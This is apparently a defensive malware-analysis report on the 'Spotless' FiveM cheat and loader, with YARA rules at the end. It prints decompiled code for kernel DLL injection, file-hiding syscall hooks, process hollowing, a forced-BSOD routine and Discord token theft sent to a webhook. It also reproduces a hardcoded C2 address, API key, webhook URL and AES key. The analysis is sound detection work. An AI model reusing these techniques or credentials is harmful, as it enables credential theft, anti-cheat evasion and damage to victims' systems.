Spotless Bypass — Detection Report

FUNCTION : FUN_140001000
ADDRESS  : 140001000
SIZE     : 45 bytes

void FUN_140001000(void)
{
  // Copies 32-byte AES key into global buffer DAT_14000cb40 at startup:
  FUN_140001820(&DAT_14000cb40, "ghiRfdTpmhxJxjZ2vAuIWbHXyJlp22jS", 0x20);
  atexit(FUN_1400071a0);
  return;
}

// Confirmed in .rdata string table:
140008718   ghiRfdTpmhxJxjZ2vAuIWbHXyJlp22jS   ← AES key (32 bytes)
140008740   SHA256                               ← hash algorithm
140008750   DmcAuth-salt                         ← KDF salt
140008768   ChainingModeCBC                      ← cipher mode
140008788   ChainingMode                         ← BCrypt property name

// Step 1 — SHA-256 KDF over the AES key + salt "DmcAuth-salt":
BCryptOpenAlgorithmProvider(&local_b0, L"SHA256", NULL, 8);
FUN_140001820(&local_58, "DmcAuth-salt");   // append salt
BCryptCreateHash(&local_b0, &local_b8, ...);
BCryptHashData(local_b8, key_buf, 0x20, 0);
BCryptFinishHash(local_b8, derived_key, 32, 0);

// Step 2 — AES-CBC symmetric key from derived bytes:
BCryptOpenAlgorithmProvider(&aes_handle, L"AES", NULL, 0);
BCryptSetProperty(aes_handle, L"ChainingMode", L"ChainingModeCBC", ...);
BCryptGenerateSymmetricKey(aes_handle, &key_handle, NULL, 0, derived_key, 32, 0);

// Step 3 — Random IV + encrypt/decrypt in place (same extension):
BCryptGenRandom(NULL, iv, 16, 2);
BCryptEncrypt(key_handle, plaintext, size, NULL, iv, 16, ciphertext, ...);
// — or —
BCryptDecrypt(key_handle, ciphertext, size, NULL, iv, 16, plaintext, ...);

1400087c0  "Arraste o arquivo para cima do Crypter.exe."
           "O arquivo sera criptografado/descriptografado no proprio local (mesma extensao)."
           → "Drag the file onto Crypter.exe. The file will be encrypted/decrypted in place."

140008840  "Caminho do arquivo invalido."          → "Invalid file path."
140008860  "Nao foi possivel abrir o arquivo."     → "Could not open the file."
140008888  "Erro ao ler o arquivo."                → "Error reading the file."
1400088a0  "Erro na descriptografia."              → "Decryption error."
1400088c0  "Nao foi possivel escrever o arquivo."  → "Could not write the file."
1400088e8  "Arquivo descriptografado com sucesso!" → "File decrypted successfully!"
140008918  "Erro na criptografia."                 → "Encryption error."
140008930  "Arquivo criptografado com sucesso!"    → "File encrypted successfully!"

POST /api/ep                         Software authentication
POST /api/ep/heartbeat               Keep-alive
POST /api/ep/info                    Key and user information
POST /api/ep/validate                Quick key validation
POST /api/ep/init                    Initialize session + version check
POST /api/ep/hwid-whitelist-check    HWID authorization
POST /api/ep/auth                    User authentication
POST /api/ep/register                User registration
POST /api/ep/upgrade                 Upgrade with new key
POST /api/ep/download                Download file
POST /api/ep/update                  Download update
POST /api/ep/change-password         Password change
POST /api/auth/login                 Panel login
POST /api/auth/register              Reseller registration
GET  /api/health                     Public server health
GET  /api/apps/list                  Application list
GET  /api/keys/lookup                Key lookup
POST /api/blacklist/check            Public blacklist check
POST /api/blacklist                  Add to blacklist
GET  /api/hwid-lists                 HWID whitelist management
GET  /api/analytics/access-logs      Access logs
GET  /api/analytics/audit-logs       Audit logs

Expected original behavior:
  launcher/auth DLL contacts 93.127.141.9:5000
  HWID endpoint returns allowed / not_in_list / suspect / banned
  bufa.dll performs a secondary WinHTTP license check before driver load

Plausible cracked-variant indicators:
  no C2 traffic before driver-load attempt
  WinHTTP imports present but never exercised in the auth path
  banned / not_in_list strings absent, dead, or unreachable
  changed hashes with the same VolCache, swft/1.0, DmcE, or webhook indicators

Remaining constraints:
  unsigned neguin.sys still needs a driver-loading bypass
  cheat DLLs may contain secondary auth checks
  server-side sessions still validate real HWID-bearing requests

// Driver creates VolCache device to impersonate Windows Volume Cache:
RtlInitUnicodeString(local_28, L"\Device\VolCache");
IoCreateDevice(param_1, 0, local_28, 0x22, 0x100, 0, &local_res8);

RtlInitUnicodeString(local_18, L"\DosDevices\VolCache");
IoCreateSymbolicLink(local_18, local_28);

// All 28 IRP dispatch slots set to single handler FUN_1400021b0:
for (lVar3 = 0x1c; lVar3 != 0; lVar3--) {
  *puVar4 = FUN_1400021b0;
  puVar4 = puVar4 + 1;
}

140006270  "failed to get EtwpDebuggerData!"
1400064a0  "EtwHookManager::Initialize"
1400064c0  "failed to get HalPrivateDispatchTable address!"
140006540  "failed to find KiSystemServiceRepeat"
140006570  "EtwHookManager::TraceStackToSyscall"

// ETW class names (embedded as strings):
EtwInitilizer::EtwInitilizer      — ETW context constructor
EtwInitilizer::OpenPmcCounter     — configure PMC hardware counter
EtwInitilizer::StartStopTrace     — enable/disable Circular Kernel Context Logger
EtwHookManager::Initialize        — hook KiSystemServiceRepeat
EtwHookManager::TraceStackToSyscall — redirect syscall trace output

// Pattern used to locate KiSystemServiceRepeat in kernel .text:
xx????xxx????xx????xxx????xxx????xx?

// Driver registers callbacks to block anti-cheat handle access:
uVar1 = ObRegisterCallbacks(&DAT_14000cf70, &DAT_14000cf20);

// When scanner tries to open handle to protected cheat process:
FUN_140001964(2, 0x140006ba0,
  "Disallow protected process access from %Iu to %Iu", uVar4);
FUN_140001964(2, 0x140006ba0,
  "Allow protected process access from %Iu to %Iu", uVar4);

// Same for threads:
"Disallow protected thread access from %Iu to %Iu"
"Allow protected thread access from %Iu to %Iu"

// After injection completes, the log entry:
"Injection Complete. Process %d is now PROTECTED (High Level)."
"Injection Complete, but failed to protect process %d. Status: %08x"

// IOCTL code 0x222004 triggers kernel-mode DLL injection:
if (uVar4 == 0x222004) {
  puVar2 = *(uint **)(param_2 + 0x18);   // read IOCTL input buffer
  // puVar2[0] = target PID
  // puVar2[1] = DLL buffer size
  // *(puVar2+2) = DLL buffer pointer (usermode)

  // Allocate kernel pool and copy DLL from usermode:
  puVar5 = ExAllocatePoolWithTag(1, puVar2[1], 0x6754794d);  // tag 'MyTg'
  ProbeForRead(*(puVar2+2), puVar2[1], 1);
  memcpy(puVar5, *(puVar2+2), puVar2[1]);

  // Allocate worker context (PID + DLL ptr + size):
  puVar6 = ExAllocatePoolWithTag(0, 0x18, 0x7854794d);       // tag 'MyTx'
  *puVar6       = (ulonglong)*puVar2;    // target PID
  puVar6[1]     = (ulonglong)puVar5;    // kernel DLL buffer
  *(uint *)(puVar6+2) = puVar2[1];      // DLL size

  // Spin up kernel system thread to perform the map:
  PsCreateSystemThread(local_res18, 0x1fffff, 0, 0, 0,
                       FUN_140003c40, puVar6);
  // FUN_140003c40 attaches to target EPROCESS via KeStackAttachProcess,
  // allocates VA via ZwAllocateVirtualMemory, and maps via MmCopyVirtualMemory.
  // Injected DLL: netcom.dll
}

void FUN_140004e70(undefined8 param_1, longlong *param_2) {
  pcVar1 = (code *)*param_2;

  if      (pcVar1 == NtCreateFile_exref)         { pcVar2 = FUN_1400048c0; }
  else if (pcVar1 == NtOpenFile_exref)            { pcVar2 = FUN_140004be0; }
  else if (pcVar1 == NtQueryDirectoryFile_exref)  { pcVar2 = FUN_140004ec0; }

  DAT_14000b408 = pcVar1;   // save original pointer
  *param_2 = (longlong)pcVar2;  // install hook

  // IOCTL control strings:
  "IOCTL: File hooks ENABLED"
  "IOCTL: File hooks DISABLED"
}

// Paths suppressed by the hooks (anti-cheat artifact directories):
\PREFETCH\
\PROGRAMDATA\MICROSOFT\WINDOWS\WER\REPORTARCHIVE\
\APPDATA\LOCAL\CRASHDUMPS\

// Step 1: Get %APPDATA% path
iVar2 = SHGetFolderPathA(0, 0x1a, 0, 0, local_268);

if (iVar2 < 0) {
  // AppData not found — clear output and return
  *param_2 = 0;
  param_2[1] = 0;
  param_2[2] = 0;
  param_2[3] = 0xf;
  *(undefined1 *)param_2 = 0;
}
else {
  // Step 2: Copy AppData path into three separate base strings
  FUN_180004e8c(local_348 + 8, local_268);   // base for discord
  FUN_180004e8c(local_348 + 4, local_268);   // base for discordcanary
  FUN_180004e8c(local_348,     local_268);   // base for discordptb

  // Step 3: Append LevelDB paths to each base
  FUN_180016818(local_2c8, local_348 + 8, "\discord\Local Storage\leveldb");
  FUN_180016818(local_2a8, local_348 + 4, "\discordcanary\Local Storage\leveldb");
  FUN_180016818(local_288, local_348,     "\discordptb\Local Storage\leveldb");

  // Step 4: Enumerate *.ldb files in each directory
  hFindFile = FindFirstFileA((LPCSTR)lpFileName, &local_158);

  if (hFindFile != (HANDLE)0xffffffffffffffff) {
    // Iterate all .ldb files and read token data from each
    // Extracted token is exfiltrated via webhook / C2
    FindClose(hFindFile);
  }
}

18009c3d0  discordcanaryLocal Storageleveldb
18009c3f8  discordLocal Storageleveldb
18009c418  *.ldb                              ← wildcard file pattern
18009c420  discordptbLocal Storageleveldb

{
  HMODULE hModule;
  FARPROC pFVar1;   // RtlAdjustPrivilege
  FARPROC pFVar2;   // NtRaiseHardError
  undefined1 local_res8[8];
  undefined4 local_res10[2];

  hModule = GetModuleHandleA("ntdll.dll");

  if (hModule != (HMODULE)0x0) {
    pFVar1 = GetProcAddress(hModule, "RtlAdjustPrivilege");
    pcVar3 = "NtRaiseHardError";
    pFVar2 = GetProcAddress(hModule, "NtRaiseHardError");

    if ((pFVar1 != (FARPROC)0x0) && (pFVar2 != (FARPROC)0x0)) {

      // Step 1: Elevate to SE_SHUTDOWN_PRIVILEGE (0x13)
      local_res8[0] = 0;
      (*pFVar1)(0x13,
                CONCAT71((int7)((ulonglong)pcVar3 >> 8), 1),
                0,
                local_res8);

      // Step 2: Force BSOD via NtRaiseHardError
      local_res10[0] = 0;
      (*pFVar2)(0xc0000420,  // STATUS_ASSERTION_FAILURE → BSOD trigger
                0,
                0,
                0,
                6,           // OptionShutdownSystem — forces crash
                local_res10);
    }
  }
  return;
}

1800894e0  ntdll.dll
1800894f0  RtlAdjustPrivilege      ← loaded dynamically to avoid import detection
180089508  NtRaiseHardError        ← loaded dynamically
18008951c  BANNED                  ← ban status string matched before trigger

// Hollowing launch function:
if (iVar1 == 0) {
  iVar1 = CreateProcessAsUserA(
            param_1,
            "C:\Windows\System32\dllhost.exe",  // ← hollowing target
            (LPSTR)0x0,
            (LPSECURITY_ATTRIBUTES)0x0,
            (LPSECURITY_ATTRIBUTES)0x0,
            1,       // bInheritHandles
            4,       // CREATE_SUSPENDED — process starts paused for hollowing
            (LPVOID)0x0,
            (LPCSTR)0x0,
            param_3,
            param_4);
} else {
  iVar1 = CreateProcessAsUserA(
            param_1,
            "C:\Windows\System32\dllhost.exe",
            (LPSTR)0x0, ...,
            0x404,   // CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT
            local_res10,  // environment block
            ...);
  DestroyEnvironmentBlock(local_res10);
}

18009a820  "GetSubsystem (target) falhou"
           → "GetSubsystem (target) failed" — can't read target PE subsystem

18009a840  "Subsystem incompativel (CONSOLE vs GUI)"
           → "Incompatible subsystem (CONSOLE vs GUI)"

18009a870  "RunPE/RunPEReloc falhou (VirtualAllocEx/WriteProcessMemory/SetContext)"
           → "RunPE/RunPEReloc failed" — main injection failed

18009a9c0  "C:\Windows\System32\dllhost.exe"   ← primary target path
18009a9e0  "[Loader] Falha Process Hollowing:"   → "[Loader] Process Hollowing Failed:"
18009aa08  "[Loader] Falha ao baixar:"            → "[Loader] Download Failed:"

FUN_1800177f0(local_28, "Invalid session",               0)
FUN_1800177f0(local_28, "Session expired",               0)
FUN_1800177f0(local_28, "Invalid or unvalidated session", 0)
FUN_1800177f0(local_28, "No active session",             0)
FUN_1800177f0(local_28, "Session terminated",            0)

// Additional login error messages surfaced to user:
"Access denied - You are blacklisted"
"HWID security check failed. Access denied."
"Account is not paid. Please upgrade your account."
"Login failed. Invalid credentials or server error."
"Discord ID must be between 17 and 21 characters (numbers only)"
"Password must be between 17 and 21 characters"

// API endpoint:
POST http://93.127.141.9:5000/api/ep/hwid-whitelist-check?listType=

// Request headers (all hardcoded in .rdata):
User-Agent:  Loader-Protected/1.0        @ 1800895e0
API Key:     FTaC7sHRNwKbrMYR            @ 180089400
Salt:        470752974bfe5c36
Password:    SpotlessPriv2026             ← version identifier
Identifier:  0026d7bf

// HWID includes: PhysicalDrive serials, GUID {557CF406-1A04-11D3-9A73-0000F81EF32E}
// External IP fetched from api.ipify.org/?format=json (User-Agent: Mozilla/5.0)

// Server responses:
"allowed"       → proceed to cheat load
"not_in_list"   → HWID not registered
"suspect"       → flagged, webhook notified
"banned"        → trigger NtRaiseHardError BSOD (see above)

// Webhook URL hardcoded at address 0x18009a940:
POST https://discord.com/api/webhooks/1472751394154086491/
     H0o1y5y0LvXLDlrni0TyGTAgTd48th0KISqy6WlUVp8Bv5BxKWXSfcQhreoPdq6nKwUF

// Two log types sent to operator's Discord server:
1800897c8  "Access Log"   — HWID check events (who ran the bypass and when)
18009c2a0  "Login Log"    — successful/failed login events

// webhookUrl is also returned dynamically by /api/ep/init,
// allowing operators to rotate it server-side without a binary update.

BCRYPT.DLL  →  BCryptOpenAlgorithmProvider
BCRYPT.DLL  →  BCryptGenerateSymmetricKey
BCRYPT.DLL  →  BCryptCreateHash
BCRYPT.DLL  →  BCryptSetProperty
BCRYPT.DLL  →  BCryptHashData
BCRYPT.DLL  →  BCryptDestroyHash
BCRYPT.DLL  →  BCryptCloseAlgorithmProvider
BCRYPT.DLL  →  BCryptFinishHash
BCRYPT.DLL  →  BCryptGenRandom
BCRYPT.DLL  →  BCryptDecrypt
BCRYPT.DLL  →  BCryptEncrypt
BCRYPT.DLL  →  BCryptDestroyKey

// Developer 2 / payload lineage (Gun):
1800a4591  etw_hookoutputsdReleaseBFDriverLoader.pdb
           C:UsersGunDesktopKCustomKernel-UI-Protected...

// Developer 3 / driver-loader lineage (swift):
1800be878  C:UsersswiftDocumentspastesivem-spooferspoofer-drvuildkernel_hook.pdb

// Compiler identity:
1800aeb10  "Welcome to use llvm-msvc."   ← LLVM-MSVC linker banner

// Secondary C2 user-agent:
1800aebce  swft/1.0                      ← swift marker reused as WinHTTP user-agent

// FiveM target confirmation:
             "FiveM"                     ← appears directly in data section

// Kernel API strings resolved at runtime (not statically imported):
ZwQuerySystemInformation   RtlImageNtHeader       RtlImageDirectoryEntryToData
MmGetSystemRoutineAddress  IoCreateFileEx         MmFlushImageSection
ZwDeleteFile               IoFileObjectType       IofCompleteRequest
IoCreateDevice             PsCreateSystemThread   ObReferenceObjectByHandle
ntoskrnl.exe               ← all resolved dynamically to avoid import-scan detection

18055f468  "May 29 2026  16:29:35"     ← PE compile timestamp
1802bf298  "Dear ImGui 1.91.3 WIP (19121)"  ← UI framework version

// Player ESP:
18055cf90  Show Players          18055cfa0  Show Deads
18055cfb0  Show Peds             18055cfc0  Visible Check##esp
18055d050  Enable Skeleton       18055d070  Enable Box
18055d080  Show Friends##color   18055d0a8  Enable Health
18055d0e8  Enable Armor          18055d128  Enable Name
18055d1a8  Enable Weapon         18055d220  Weapon Icon Size

// Radar system:
18055d530  Enable Radar          18055d5a0  Radar Show Players
18055d698  Enable Radar##vis     18055d6b0  Enable Radar##invis
18055d710  Radar Show Players##vis

// Arrow ESP:
18055d890  Arrows Show Players

// Anti-detection bypass indicator:
18055cfe8  "Electron Bypass"     ← explicitly targets FiveM's Electron-based AC

// Map reference (GTA V location data for radar/ESP):
1805effd0  "FIB Building"        ← Federal Investigation Bureau building

// Full shader source is a string constant in v3.dll:
cbuffer vertexBuffer : register(b0) {
  float4x4 ProjectionMatrix;
};
struct VS_INPUT {
  float2 pos : POSITION;
  float4 col : COLOR0;
  float2 uv  : TEXCOORD0;
};
PS_INPUT main(VS_INPUT input) {
  output.pos = mul(ProjectionMatrix, float4(input.pos.xy, 0.f, 1.f));
  output.col = input.col;
  output.uv  = input.uv;
}
// Pixel shader with texture sampling for overlay rendering

1806d14e0  FiveM_b2802_GameProcess.exe     1806d1550  FiveM_b2802_GTAProcess.exe
1806d1518  FiveM_b2944_GameProcess.exe     1806d15c0  FiveM_b2944_GTAProcess.exe
1806d1588  FiveM_b3095_GameProcess.exe     1806d1628  FiveM_b3095_GTAProcess.exe
1806d1660  FiveM_b3323_GameProcess.exe     1806d1700  FiveM_b3323_GTAProcess.exe
1806d16c8  FiveM_b3407_GameProcess.exe     1806d1770  FiveM_b3407_GTAProcess.exe
1806d1738  FiveM_b3570_GameProcess.exe     1806d17e0  FiveM_b3570_GTAProcess.exe
1806d17a8  FiveM_b3751_GameProcess.exe     1806d1828  FiveM_b3751_GTAProcess.exe
1806d15f8  FiveM_GameProcess.exe           1806d1698  FiveM_GTAProcess.exe
1806d3f38  "FiveM Duplicate"               ← anti-duplication detection string
1806d48d8  "Spotless"                      ← self-identification

140219100  sha256//
140219110  "public key hash: sha256//%s"   ← log format for pin mismatch
140219130  ;sha256//                       ← multiple pins supported
1402190c0  -----BEGIN PUBLIC KEY-----      ← embedded RSA public key start
1402190e0  -----END PUBLIC KEY-----

// libcurl SSL configuration errors (confirms libcurl version and TLS support):
140219040  "Unrecognized parameter value passed via CURLOPT_SSLVERSION"
140219080  "CURL_SSLVERSION_MAX incompatible with CURL_SSLVERSION"

// Full protocol support (all statically linked):
HTTP/1.0, HTTP/1.1, HTTPS, SOCKS4, SOCKS4a, SOCKS5, SOCKS5h, proxy

1403c41a8  FiveM_b1604_GameProcess.exe   1403c4360  FiveM_b1604_GTAProcess.exe
1403c41c8  FiveM_b2060_GameProcess.exe   1403c4380  FiveM_b2060_GTAProcess.exe
1403c41e8  FiveM_b2189_GameProcess.exe   1403c43a0  FiveM_b2189_GTAProcess.exe
1403c4208  FiveM_b2372_GameProcess.exe   1403c43c0  FiveM_b2372_GTAProcess.exe
1403c4228  FiveM_b2545_GameProcess.exe   1403c43e0  FiveM_b2545_GTAProcess.exe
1403c4248  FiveM_b2612_GameProcess.exe   1403c4400  FiveM_b2612_GTAProcess.exe
1403c4268  FiveM_b2699_GameProcess.exe   1403c4420  FiveM_b2699_GTAProcess.exe
1403c4288  FiveM_b2802_GameProcess.exe   1403c4440  FiveM_b2802_GTAProcess.exe
1403c42a8  FiveM_b2944_GameProcess.exe   1403c4460  FiveM_b2944_GTAProcess.exe
1403c42c8  FiveM_b3095_GameProcess.exe   1403c4480  FiveM_b3095_GTAProcess.exe
1403c42e8  FiveM_GameProcess.exe         1403c44a0  FiveM_GTAProcess.exe
1403c4300  FiveM_b3323_GameProcess.exe   1403c44b8  FiveM_b3323_GTAProcess.exe
1403c4320  FiveM_b3407_GameProcess.exe   1403c44d8  FiveM_b3407_GTAProcess.exe
1403c4340  FiveM_b3570_GameProcess.exe   1403c44f8  FiveM_b3570_GTAProcess.exe

// Identical in both CTM DLLs:
http://93.127.141.9:5000
FTaC7sHRNwKbrMYR       ← API key
470752974bfe5c36       ← salt
/api/ep/hwid-whitelist-check
discord.com/api/webhooks/1472751394154086491/H0o1y5...
Dear ImGui 1.91.9 WIP (19186)

// Developer path — note the "aaaa" subdirectory (different from MB.dll):
// MB.dll path:
C:UsersGunDesktopKCustomKernel-UI-Protectedextackendsimguiimgui.h
// CTM DLL path (both variants):
C:UsersGunDesktopaaaaKCustomKernel-UI-Protectedextackendsimguiimgui.h

// Version distinction:
1kCUGOZADO_CTM.dll  →  "Spotless External"             (older build)
kCUGOZADO_CTM.dll   →  "Spotless External" + "Spotless V3"  (latest)

// String addresses in MB.dll .rdata:
18009c5b0  tzproject
18009c5c8  api.tzproject.com
18009c5f8  tzproject.com
18009c608  fulano.dll          ← injector referenced immediately adjacent

// Authentication function (CTM DLLs) — string assembled into stack buffer:
*(undefined8 *)local_158 = s_api_tzproject_com_18009c5c8._0_8_;
*(undefined8 *)local_158 = s_api_tzproject_com_1800e6860._0_8_;
*(undefined8 *)local_178 = s_api_tzproject_com_1800e88e0._0_8_;

local_118[0] = s_tzproject_com_18009c5f8[0];
local_118[1] = s_tzproject_com_18009c5f8[1];
// ... (all qwords assembled from static string)
local_1c8[0x10] = s_api_tzproject_com_18009c5c8[0x10];

// Present in: MB.dll, 1kCUGOZADO_CTM.dll, kCUGOZADO_CTM.dll

seed1 = b"#`sOBMFpZM@wQFF"
seed2 = b"0tUVQE\\D}QSXY^U"  # XOR 0x10 = "DEFAULT MACHINE"

base = bytes(seed1[i] ^ seed2[i] for i in range(len(seed1)))
computer_name = GetComputerNameA()
combined = base + computer_name.encode()

hwid_hash = 0
for c in combined:
    hwid_hash = hwid_hash * 0x21 + c

hwid = hwid_hash ^ 0xa3b2c1d0

Algorithm:      AES-256-CBC
KDF:            SHA-256 over password + DmcAuth-salt
Password:       ghiRfdTpmhxJxjZ2vAuIWbHXyJlp22jS
Salt:           DmcAuth-salt
File format:    DmcE magic (4 bytes) + IV (16 bytes) + ciphertext
Workflow:       Drag payload onto Crypter.exe; encryption/decryption happens in place

rule neguin_sys_kernel_driver {
    meta:
        description = "Detects neguin.sys FiveM cheat kernel driver"
        date = "2026-06"
    strings:
        $s1 = "Injection Complete. Process" ascii
        $s2 = "IOCTL: Manual Map initiated" ascii
        $s3 = "EtwHookManager" ascii
        $s4 = "\\Device\\VolCache" wide
        $s5 = "\\DosDevices\\VolCache" wide
        $s6 = "CheckProtectedOperation" ascii
        $s7 = "teste.exe" ascii
        $s8 = "netcom.dll" wide
    condition:
        uint16(0) == 0x5A4D and 5 of them
}

rule bufa_dll_loader {
    strings:
        $ua = "swft/1.0" ascii
        $ct = "Content-Type: application/json" ascii
        $v1 = "virtualizer" ascii wide
        $v2 = "hardware_cleaner" ascii wide
        $v3 = "BFDriverLoader" ascii
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule spotless_auth_payload {
    strings:
        $c2 = "http://93.127.141.9:5000" ascii
        $api = "FTaC7sHRNwKbrMYR" ascii
        $wh = "1472751394154086491" ascii
        $ban = "BANNED" ascii
        $mb_priv = "SpotlessPriv2026" ascii
        $s2 = "Spotless External" ascii
        $s3 = "HWID security check failed" ascii
        $s4 = "NtRaiseHardError" ascii
        $s5 = "Loader-Protected/1.0" ascii
        $ldb = "\\discord\\Local Storage\\leveldb" ascii
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

rule crypt_exe_payload_encryptor {
    strings:
        $pw = "ghiRfdTpmhxJxjZ2vAuIWbHXyJlp22jS" ascii
        $salt = "DmcAuth-salt" ascii
        $pt = "Arquivo criptografado com sucesso" ascii wide
        $pt2 = "descriptografado" ascii wide
    condition:
        uint16(0) == 0x5A4D and 2 of them
}

rule dmcauth_encrypted_payload {
    strings:
        $magic = { 44 6D 63 45 }
    condition:
        $magic at 0 and filesize > 1MB and math.entropy(0, filesize) > 7.8
}